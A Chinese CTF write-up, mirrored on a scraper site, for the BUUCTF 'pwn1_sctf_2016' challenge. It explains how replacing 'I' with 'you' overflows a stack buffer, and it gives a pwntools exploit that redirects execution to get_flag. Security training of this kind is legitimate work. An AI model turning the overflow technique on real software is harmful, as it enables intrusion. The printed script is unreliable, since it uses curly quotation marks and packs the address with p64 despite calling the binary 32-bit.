首页 > 其他 > 详细

pwn1_sctf_2016

时间:2020-07-17 22:31:25      阅读:75      评论:0      收藏:0      [点我收藏+]

0x01

拿到文件先检查一下

技术分享图片

32位程序

技术分享图片

开启了NX保护

IDA静态分析一下

技术分享图片

分配的s空间为60,限制输入32,乍一看是不会造成栈溢出的,但是下面有一个字符替换,就是输入I会被替换成you。I是一个字符,you是三个字符,那么我们可以输入20个I(满足32的限制),那么这20个I,最终被替换成了60个字符,从而造成溢出

0x02

exp:

from pwn import *

filename = ‘pwn1_sctf_2016‘
e = ELF(filename)
get_flag = e.symbols[‘get_flag‘] 

HOST = ‘node3.buuoj.cn‘
PORT = 25788
content = 0

def main():
	try:
		if content == 1:
			p = process(filename)
		else:
			p = remote(HOST,PORT)
	except:
		print("[!]The content is error")

	payload = b‘I‘ * 20 + b‘a‘ * 4 + p64(get_flag)
	
	p.sendline(payload)

	p.interactive()

main()

执行结果:

技术分享图片

得到flag

pwn1_sctf_2016

原文:https://www.cnblogs.com/Jleixin/p/13332348.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!